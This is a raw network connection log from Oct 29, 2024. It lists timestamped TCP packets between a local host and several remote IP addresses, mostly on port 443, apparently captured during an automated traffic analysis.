Oct 29, 2024 18:42:25.404098034 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.404700041 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.404711962 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.406502008 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.406507969 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.410475016 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.410804033 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.410842896 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.411360025 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.411376953 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.411392927 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.411741972 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.411751986 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.412144899 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.412149906 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.414354086 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.414807081 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.417711020 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.417742014 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.418111086 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.418123007 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.418711901 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.418766022 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.419353008 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.419368029 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.445456982 CET	49757	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:25.450897932 CET	80	49757	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:25.489387035 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:25.489427090 CET	49713	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:25.532391071 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.532978058 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.533046961 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.533073902 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.533085108 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.533107042 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.533112049 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.535864115 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.535882950 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.536005974 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.536231995 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.536246061 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.544717073 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.545216084 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.545300961 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.545339108 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.545368910 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.545368910 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.545404911 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.545429945 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.545435905 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.545512915 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.547842979 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.547885895 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.547976017 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.548065901 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.548671961 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.548685074 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.548734903 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.548749924 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.549287081 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.549300909 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.549374104 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.549585104 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.550492048 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.550555944 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.550662041 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.550887108 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.550899982 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.550930023 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.550935030 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.551110983 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.551137924 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.551184893 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.551201105 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.553122997 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.553133011 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.554337025 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.554374933 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.554387093 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.554444075 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.554651022 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.554663897 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.554691076 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.554708004 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.554927111 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.554934025 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.555010080 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.555139065 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:25.555145979 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:25.730950117 CET	80	49757	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:25.731147051 CET	49757	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:26.279474974 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.280024052 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.280035973 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.280255079 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.280584097 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.280587912 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.280631065 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.280642033 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.281075001 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.281079054 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.284723997 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.285033941 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.285043001 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.285480022 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.285485029 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.293312073 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.293876886 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.293884993 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.294339895 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.294343948 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.309773922 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.310417891 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.310434103 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.310843945 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.310848951 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.407603025 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.407752037 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.408324957 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.408557892 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.408557892 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.408576965 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.408590078 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.411720037 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.411864996 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.411921978 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.411992073 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.412014008 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.412077904 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.423587084 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.423662901 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.423711061 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.427934885 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.428006887 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.428229094 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.441458941 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.441474915 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.441488028 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.441493988 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.442321062 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.442321062 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.442328930 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.442336082 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.443696022 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.443721056 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.443907976 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.443922997 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.443938017 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.443944931 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.449692965 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.449758053 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.449877024 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.453371048 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.453376055 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.453386068 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.453389883 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.462070942 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.462090969 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.462263107 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.481002092 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.481060028 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.481161118 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.483378887 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.483388901 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.483454943 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.501228094 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.501243114 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.502708912 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.502732992 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.502794981 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.502952099 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.502964973 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.511931896 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.511967897 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:26.512011051 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:26.512022972 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.185125113 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.209470987 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.209532976 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.211452961 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.211482048 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.254959106 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.257349014 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.259953976 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.260548115 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.281778097 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.281790972 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.282222986 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.282227993 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.282426119 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.282474995 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.282774925 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.282788992 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.284524918 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.284550905 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.285059929 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.285072088 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.285484076 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.285525084 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.285902977 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.285916090 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.340804100 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.341089010 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.341157913 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.344444036 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.344444036 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.344475985 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.344501019 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.378146887 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.378184080 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.378264904 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.379204988 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.379220009 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.408426046 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.408512115 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.408579111 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.413407087 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.413479090 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.413561106 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.415600061 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.415698051 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.415860891 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.426314116 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.426352024 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.426450968 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.426466942 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.427627087 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.427639961 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.428522110 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.428555012 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.439825058 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.439851046 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.439929962 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.441216946 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.441227913 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.441863060 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.441890955 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.441962004 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.442213058 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.442223072 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.442509890 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.442538023 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.442603111 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.442831993 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.442843914 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.963634014 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.964390039 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.964493036 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.964564085 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.964576006 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.964615107 CET	49768	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.964621067 CET	443	49768	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.967824936 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.967863083 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:27.968130112 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.968369961 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:27.968381882 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.118350983 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.118954897 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.118977070 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.121241093 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.121248007 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.175251961 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.175789118 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.175797939 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.176213980 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.176218987 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.177186012 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.177560091 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.177572966 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.177968979 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.177973986 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.187566042 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.188657999 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.188674927 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.189070940 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.189075947 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.254054070 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.254218102 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.254267931 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.254403114 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.254419088 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.254432917 CET	49769	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.254439116 CET	443	49769	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.257724047 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.257755995 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.257925034 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.258085966 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.258099079 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.307197094 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.307260990 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.307476997 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.307694912 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.307694912 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.307712078 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.307719946 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.307841063 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.308146000 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.308192015 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.309201002 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.309214115 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.309222937 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.309228897 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.313158989 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.313196898 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.313302040 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.313591003 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.313608885 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.313669920 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.313896894 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.313908100 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.314028978 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.314040899 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.322923899 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.323076010 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.323146105 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.323297977 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.323306084 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.323328018 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.323333025 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.327337980 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.327363014 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.327476978 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.327696085 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.327707052 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.700479984 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.701404095 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.701417923 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.702033043 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.702039003 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.831468105 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.832262039 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.832396030 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.832396030 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.832899094 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.832914114 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.835473061 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.835493088 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:28.835587025 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:28.835740089 CET	49778	443	192.168.2.5	13.107.246.45
